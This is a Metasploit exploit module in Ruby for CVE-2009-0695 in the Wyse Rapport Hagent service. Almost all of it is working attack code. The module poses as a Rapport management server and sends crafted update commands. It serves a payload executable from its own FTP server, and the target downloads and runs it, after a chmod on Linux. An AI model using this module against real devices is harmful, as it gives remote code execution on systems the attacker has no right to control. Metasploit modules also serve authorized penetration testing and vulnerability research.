## # $Id$ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'timeout' require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Tcp include Msf::Exploit::Remote::FtpServer include Msf::Exploit::EXE def initialize(info = {}) super(update_info(info, 'Name' => 'Wyse Rapport Hagent Fake Hserver Command Execution', 'Description' => %q{ This module exploits the Wyse Rapport Hagent service by pretending to be a legitimate server. This process involves starting both HTTP and FTP services on the attacker side, then contacting the Hagent service of the target and indicating that an update is available. The target will then download the payload wrapped in an executable from the FTP service. }, 'Stance' => Msf::Exploit::Stance::Aggressive, 'Author' => 'kf', 'Version' => '$Revision$', 'References' => [ ['CVE', '2009-0695'], ['OSVDB', '55839'], ['US-CERT-VU', '654545'], ['URL', 'http://snosoft.blogspot.com/'], ['URL', 'http://www.theregister.co.uk/2009/07/10/wyse_remote_exploit_bugs/'], ['URL', 'http://www.wyse.com/serviceandsupport/support/WSB09-01.zip'], ['URL', 'http://www.wyse.com/serviceandsupport/Wyse%20Security%20Bulletin%20WSB09-01.pdf'], ], 'Privileged' => true, 'Payload' => { 'Space' => 2048, 'BadChars' => '', }, 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Targets' => [ [ 'Windows XPe x86',{'Platform' => 'win',}], [ 'Wyse Linux x86', {'Platform' => 'linux',}], ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Jul 10 2009' )) register_options( [ OptPort.new('SRVPORT', [ true, "The local port to use for the FTP server", 21 ]), Opt::RPORT(80), ], self.class) end def exploit if(datastore['SRVPORT'].to_i != 21) print_error("This exploit requires the FTP service to run on port 21") return end # Connect to the target service print_status("Connecting to the target") connect() # Start the FTP service print_status("Starting the FTP server") start_service() # Create the executable with our payload print_status("Generating the EXE") @exe_file = generate_payload_exe if target['Platform'] == 'win' maldir = "C:\\" # Windows malfile = Rex::Text.rand_text_alphanumeric(rand(8)+4) + ".exe" co = "XP" elsif target['Platform'] == 'linux' maldir = "//tmp//" # Linux malfile = Rex::Text.rand_text_alphanumeric(rand(8)+4) + ".bin" co = "LXS" end @exe_sent = false # Start the HTTP service print_status("Starting the HTTP service") wdmserver = Rex::Socket::TcpServer.create({ 'Context' => { 'Msf' => framework, 'MsfExploit' => self } }) # Let this close automatically add_socket(wdmserver) wdmserver_port = wdmserver.getsockname[2] print_status("Starting the HTTP service on port #{wdmserver_port}") fakerapport = Rex::Socket.source_address(rhost) fakemac = "00" + Rex::Text.rand_text(5).unpack("H*")[0] mal = "&V54&CI=3|MAC=#{fakemac}|IP=#{rhost}MT=3|HS=#{fakerapport}|PO=#{wdmserver_port}|" # FTP Credentials ftpserver = Rex::Socket.source_address(rhost) ftpuser = Rex::Text.rand_text_alphanumeric(rand(8)+1) ftppass = Rex::Text.rand_text_alphanumeric(rand(8)+1) ftpport = 21 ftpsecure = '0' incr = 10 pwn1 = "&UP0|&SI=1|UR=9" + "|CO \x0f#{co}\x0f|#{incr}" + # "|LU \x0fRapport is downloading HAgent Upgrade to this terminal\x0f|#{incr+1}" + "|SF \x0f#{malfile}\x0f \x0f#{maldir}#{malfile}\x0f|#{incr+1}" pwn2 = "|EX \x0f//bin//chmod\xfc+x\xfc//tmp//#{malfile}\x0f|#{incr+1}" pwn3 = "|EX \x0f#{maldir}#{malfile}\x0f|#{incr+1}" + # "|RB|#{incr+1}" + # "|SV* \x0fHKEY_LOCAL_MACHINE\\Software\\Rapport\\pwnt\x0f 31337\x0f\x0f REG_DWORD\x0f|#{incr+1}" + #"|DF \x0f#{maldir}#{malfile}\x0f|#{incr+1}" + # FTP Paramaters "|&FTPS=#{ftpserver}" + "|&FTPU=#{ftpuser}" + "|&FTPP=#{ftppass}" + "|&FTPBw=10240" + "|&FTPST=200" + "|&FTPPortNumber=#{ftpport}" + "|&FTPSecure=#{ftpsecure}" + "|&M_FTPS=#{ftpserver}" + "|&M_FTPU=#{ftpuser}" + "|&M_FTPP=#{ftppass}" + "|&M_FTPBw=10240" + "|&M_FTPST=200" + "|&M_FTPPortNumber=#{ftpport}" + "|&M_FTPSecure=#{ftpsecure}" + # No clue "|&DP=1|&IT=3600|&CID=7|QUB=3|QUT=120|CU=1|" if target['Platform'] == 'win' pwn = pwn1 + pwn3 elsif target['Platform'] == 'linux' pwn = pwn1 + pwn2 + pwn3 end # Send the malicious request sock.put(mal) # Download some response data resp = sock.get_once(-1, 10) print_status("Received: #{resp}") if not resp print_error("No reply from the target, this may not be a vulnerable system") return end print_status("Waiting on a connection to the HTTP service") begin Timeout.timeout(190) do done = false while (not done and session = wdmserver.accept) req = session.recvfrom(2000)[0] next if not req next if req.empty? print_status("HTTP Request: #{req.split("\n")[0].strip}") case req when /V01/ print_status("++ connected (#{session.peerhost}), " + "sending payload (#{pwn.size} bytes)") res = pwn when /V02/ print_status("++ device sending V02 query...") res = "&00|Existing Client With No Pending Updates|&IT=10|&CID=7|QUB=3|QUT=120|CU=1|" done = true when /V55/ print_status("++ device sending V55 query...") res = pwn when /POST/ # PUT is used for non encrypted requests. print_status("++ device sending V55 query...") res = pwn done = true else print_status("+++ sending generic response...") res = pwn end print_status("Sending reply: #{res}") session.put(res) session.close end end rescue ::Timeout::Error print_status("Timed out waiting on the HTTP request") wdmserver.close disconnect() stop_service() return end print_status("Waiting on the FTP request...") stime = Time.now.to_f while(not @exe_sent) break if (stime + 90 < Time.now.to_f) select(nil, nil, nil, 0.25) end if(not @exe_sent) print_status("No executable sent :(") end stop_service() wdmserver.close() handler disconnect end def on_client_command_retr(c,arg) print_status("#{@state[c][:name]} FTP download request for #{arg}") conn = establish_data_connection(c) if(not conn) c.put("425 Can't build data connection\r\n") return end c.put("150 Opening BINARY mode data connection for #{arg}\r\n") conn.put(@exe_file) c.put("226 Transfer complete.\r\n") conn.close @exe_sent = true end def on_client_command_size(c,arg) print_status("#{@state[c][:name]} FTP size request for #{arg}") c.put("213 #{@exe_file.length}\r\n") end end